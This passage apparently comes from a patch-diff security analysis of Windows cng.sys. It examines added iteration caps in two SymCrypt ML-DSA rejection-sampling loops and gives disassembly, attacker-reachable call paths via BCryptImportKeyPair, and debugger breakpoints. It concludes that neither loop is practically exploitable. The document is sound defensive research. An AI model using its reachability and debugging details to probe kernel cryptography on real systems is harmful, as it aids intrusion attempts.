&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;A944&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_18009AA41&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;481&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;out&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;A94A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eta&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15+16h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;same&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sampling&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;logic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;A9E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;EVERY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iteration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unconditional&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x18009AA05&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18009AA2D&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;out&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AA33&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AA39&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_18009A93E&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AA3F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_18009AA46&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AA41&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8008&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_18009AA41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iteration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8008&lt;/span&gt;
&lt;span class="mi"&gt;000000018009&lt;/span&gt;&lt;span class="n"&gt;AA46&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;F0h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_18009AA46&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;common&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;0x8008&lt;/code&gt; is a SymCrypt error code, not an NTSTATUS. It is returned in &lt;code&gt;edi&lt;/code&gt;/&lt;code&gt;eax&lt;/code&gt; on the capped path.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;p&gt;The non-terminating path is not reachable through the CNG/BCrypt API surface, because &lt;code&gt;eta&lt;/code&gt; is a compile-time constant, not caller input:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Obtain a CNG Handle:&lt;/strong&gt; Open an ML-DSA algorithm provider via &lt;code&gt;BCryptOpenAlgorithmProvider&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reach Key Generation:&lt;/strong&gt; Invoke an ML-DSA key-pair operation so that &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt; calls &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;eta is fixed:&lt;/strong&gt; &lt;code&gt;SymCryptMlDsaGetInternalParamsFromParams (sub_180096074)&lt;/code&gt; selects one of the static tables &lt;code&gt;SymCryptMlDsaInternalParams44/65/87&lt;/code&gt; by a validated parameter-set index; the reachable &lt;code&gt;eta&lt;/code&gt; values are only &lt;code&gt;2&lt;/code&gt; or &lt;code&gt;4&lt;/code&gt;. An unrecognized index returns &lt;code&gt;0x800E&lt;/code&gt;/&lt;code&gt;0x8011&lt;/code&gt; before any sampling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No API path to an invalid eta:&lt;/strong&gt; With a valid &lt;code&gt;eta&lt;/code&gt;, the rejection loop terminates with overwhelming probability well within 481 iterations. Forcing every nibble to reject with a valid &lt;code&gt;eta&lt;/code&gt; would require controlling the SHAKE output stream for hundreds of bytes, which is computationally infeasible. Reaching the non-terminating branch would require an out-of-band memory corruption of the parameters structure.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Because the input that would drive the loop past its bound cannot be supplied through the intended interface, this is a defensive fix rather than an exploitable condition.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; None reachable through the CNG API. The code pattern, if the &lt;code&gt;eta&lt;/code&gt; byte were corrupted by an unrelated bug, would be a kernel-thread livelock (no memory corruption, no read/write/execute primitive).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker control:&lt;/strong&gt; The gating value (&lt;code&gt;eta&lt;/code&gt; at &lt;code&gt;params+0x16&lt;/code&gt;) originates from static, read-only parameter tables selected by a validated index, so an attacker cannot set it via &lt;code&gt;BCryptGenerateKeyPair&lt;/code&gt; / &lt;code&gt;BCryptImportKeyPair&lt;/code&gt; or any documented interface.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature of the fix:&lt;/strong&gt; A bounded-iteration guard added to a rejection-sampling loop in the statically-linked SymCrypt ML-DSA implementation — standard library robustness hardening.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;7. Debugger Playbook (verification of the code change)&lt;/h3&gt;
&lt;p&gt;Load the &lt;strong&gt;unpatched&lt;/strong&gt; &lt;code&gt;cng.sys&lt;/code&gt; and inspect the loop to confirm the pattern; load the &lt;strong&gt;patched&lt;/strong&gt; build to confirm the added cap.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unpatched breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp cng_unpatched+0x96b4c        ; SymCryptMlDsaRejBoundedPoly entry
bp cng_unpatched+0x96be5        ; mov al, [r14+16h] : reads eta
bp cng_unpatched+0x96cac        ; jb loc_180096BCB : loop back-edge
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;
- Entry &lt;code&gt;0x180096B4C&lt;/code&gt;: &lt;code&gt;rcx&lt;/code&gt; = params pointer; &lt;code&gt;db rcx+0x16 l1&lt;/code&gt; shows the &lt;code&gt;eta&lt;/code&gt; byte. On any reachable call it is &lt;code&gt;02&lt;/code&gt; or &lt;code&gt;04&lt;/code&gt;.
- &lt;code&gt;0x180096BE5&lt;/code&gt;: &lt;code&gt;al&lt;/code&gt; = eta. Only &lt;code&gt;2&lt;/code&gt; or &lt;code&gt;4&lt;/code&gt; occur on reachable paths.
- &lt;code&gt;0x180096CAC&lt;/code&gt;: back-edge. &lt;code&gt;edi&lt;/code&gt; (output index) advances on every accepted sample; with a valid &lt;code&gt;eta&lt;/code&gt; it reaches &lt;code&gt;0x100&lt;/code&gt; and the loop exits.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patched confirmation:&lt;/strong&gt;
- &lt;code&gt;0x18009A93E&lt;/code&gt;: &lt;code&gt;cmp esi, 1E1h&lt;/code&gt; — the added counter check.
- &lt;code&gt;0x18009A9E7&lt;/code&gt;: &lt;code&gt;inc esi&lt;/code&gt; — unconditional per-iteration increment.
- &lt;code&gt;0x18009AA41&lt;/code&gt;: &lt;code&gt;mov edi, 8008h&lt;/code&gt; — the bail-out error return when the cap is hit.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Struct/offset notes:&lt;/strong&gt;
- &lt;code&gt;params + 0x16&lt;/code&gt;: ML-DSA &lt;code&gt;eta&lt;/code&gt; bound, a constant field in &lt;code&gt;SymCryptMlDsaInternalParams44/65/87&lt;/code&gt; (&lt;code&gt;2&lt;/code&gt; for 44/87, &lt;code&gt;4&lt;/code&gt; for 65).&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;7a. Second Instance — SymCryptMlDsaRejNttPoly (same CWE-835 hardening)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low (defensive hardening; attacker-controlled seed but not practically triggerable)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; CWE-835 — Loop with unreachable exit condition (potential infinite loop)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;cng!SymCryptMlDsaRejNttPoly @ 0x180096CEC&lt;/code&gt; (Unpatched), &lt;code&gt;@ 0x18009AA84&lt;/code&gt; (Patched)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt; generates the 256 NTT-domain coefficients of one entry of the ML-DSA public matrix &lt;code&gt;A&lt;/code&gt; by rejection sampling a SHAKE-128 (Keccak) stream. It appends a 34-byte seed (&lt;code&gt;0x22&lt;/code&gt; bytes = the 32-byte &lt;code&gt;rho&lt;/code&gt; plus a 2-byte matrix index &lt;code&gt;i||j&lt;/code&gt;) to the sponge (&lt;code&gt;SymCryptKeccakAppend&lt;/code&gt; at &lt;code&gt;0x180096D5C&lt;/code&gt;), then repeatedly squeezes 3 bytes, masks the top bit of the third byte to form a 23-bit value (&lt;code&gt;and byte ptr [...+2], 7Fh&lt;/code&gt; at &lt;code&gt;0x180096D84&lt;/code&gt;), and rejects any value &lt;code&gt;&amp;gt;= 0x7FE001&lt;/code&gt; (the ML-DSA prime &lt;code&gt;q = 8380417&lt;/code&gt;, &lt;code&gt;cmp eax, 7FE001h&lt;/code&gt; at &lt;code&gt;0x180096D8D&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;In the unpatched build the loop has &lt;strong&gt;no iteration counter&lt;/strong&gt;. The output count &lt;code&gt;rbx&lt;/code&gt; is initialized to &lt;code&gt;0x100&lt;/code&gt; (256, &lt;code&gt;mov ebx, 100h&lt;/code&gt; at &lt;code&gt;0x180096D69&lt;/code&gt;) and decrements only on an accepted sample (&lt;code&gt;sub rbx, 1&lt;/code&gt; at &lt;code&gt;0x180096D9A&lt;/code&gt;, &lt;code&gt;jnz short loc_180096D6E&lt;/code&gt; at &lt;code&gt;0x180096D9E&lt;/code&gt;). A rejected sample takes the back-edge &lt;code&gt;jnb short loc_180096D6E&lt;/code&gt; at &lt;code&gt;0x180096D92&lt;/code&gt; straight back to the squeeze without touching any counter. The only way to leave the loop is for &lt;code&gt;rbx&lt;/code&gt; to reach 0, i.e. by accepting 256 coefficients. If the stream produced only out-of-range values the loop would not terminate (CWE-835).&lt;/p&gt;
&lt;p&gt;The patched build adds an independent iteration counter &lt;code&gt;r14d&lt;/code&gt; (initialized to 0 via &lt;code&gt;mov r14d, edi&lt;/code&gt; at &lt;code&gt;0x18009AAC1&lt;/code&gt;), checks it at the loop head (&lt;code&gt;cmp r14d, 12Ah&lt;/code&gt; at &lt;code&gt;0x18009AB01&lt;/code&gt;, &lt;code&gt;jnb short loc_18009AB45&lt;/code&gt; at &lt;code&gt;0x18009AB08&lt;/code&gt;) with a hard cap of &lt;code&gt;0x12A&lt;/code&gt; (298), and increments it unconditionally every iteration (&lt;code&gt;inc r14d&lt;/code&gt; at &lt;code&gt;0x18009AB25&lt;/code&gt;, before the reject test). If the cap is hit it returns SymCrypt error &lt;code&gt;0x8008&lt;/code&gt; (&lt;code&gt;mov edi, 8008h&lt;/code&gt; at &lt;code&gt;0x18009AB45&lt;/code&gt;). 298 bounds the total squeeze iterations above the 256 accepted outputs needed, leaving margin for the small number of rejections expected under a valid stream.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why this is Low — reachability:&lt;/strong&gt;
Unlike &lt;code&gt;eta&lt;/code&gt; in &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; (a fixed table constant), the seed here &lt;strong&gt;is&lt;/strong&gt; attacker-controlled. The call path from an untrusted surface is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;BCryptImportKeyPair&lt;/code&gt; on an ML-DSA public-key blob reaches &lt;code&gt;SymCryptMlDsakeySetValue (sub_18008a47c)&lt;/code&gt;, which calls &lt;code&gt;SymCryptMlDsaPkDecode&lt;/code&gt; at &lt;code&gt;0x18008A4E5&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaPkDecode (sub_18009632c)&lt;/code&gt; copies the 32-byte &lt;code&gt;rho&lt;/code&gt; from the parsed public key into the key object at &lt;code&gt;[rbx+56h]&lt;/code&gt; (&lt;code&gt;movups xmmword ptr [r12], xmm0&lt;/code&gt; at &lt;code&gt;0x1800963FD&lt;/code&gt;, &lt;code&gt;r12 = rbx+56h&lt;/code&gt;) and calls &lt;code&gt;SymCryptMlDsaExpandA&lt;/code&gt; at &lt;code&gt;0x18009653C&lt;/code&gt; with &lt;code&gt;rcx = r12&lt;/code&gt; (the &lt;code&gt;rho&lt;/code&gt; pointer).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaExpandA (sub_180095dd8)&lt;/code&gt; copies those 32 bytes into a local buffer (&lt;code&gt;movups&lt;/code&gt; from &lt;code&gt;[rcx]&lt;/code&gt; / &lt;code&gt;[rcx+10h]&lt;/code&gt; at &lt;code&gt;0x180095DF3&lt;/code&gt; / &lt;code&gt;0x180095DFB&lt;/code&gt;), appends the 2-byte matrix index, and calls &lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt; at &lt;code&gt;0x180095E44&lt;/code&gt; once per matrix cell.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt; appends &lt;code&gt;rho||i||j&lt;/code&gt; to SHAKE-128 and rejection-samples as above.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So the &lt;code&gt;rho&lt;/code&gt; seed that keys the SHAKE-128 stream is public-key material the attacker fully controls (e.g. before &lt;code&gt;BCryptVerifySignature&lt;/code&gt;). However, triggering the non-terminating / cap-exhausting path requires the SHAKE-128 output — keyed by that &lt;code&gt;rho&lt;/code&gt; — to land in the tiny reject window (&lt;code&gt;0x800000 - 0x7FE001 = 0x1FFF&lt;/code&gt;, about 0.098% per sample) more than the ~42 times the 298-iteration cap tolerates over 256 accepts. Biasing a XOF's output distribution this way is a preimage-hardness problem and is computationally infeasible. Real-world severity therefore remains &lt;strong&gt;Low/informational&lt;/strong&gt;, but this is a more attacker-adjacent code path than the covered function, and the direction is correct (patched strictly bounds the loop, unpatched is unbounded).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Assembly (unpatched &lt;code&gt;SymCryptMlDsaRejNttPoly @ 0x180096CEC&lt;/code&gt;), no iteration bound:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D5C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakAppend&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x22&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rho&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D69&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;output&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D6E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;loc_180096D6E&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iteration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D7F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;squeeze&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D84&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+130h+var_110+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;Fh&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;top&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;value&lt;/span&gt;
&lt;span class="mi"&gt;0000000180096&lt;/span&gt;&lt;span class="n"&gt;D89&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+130h+var_110&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
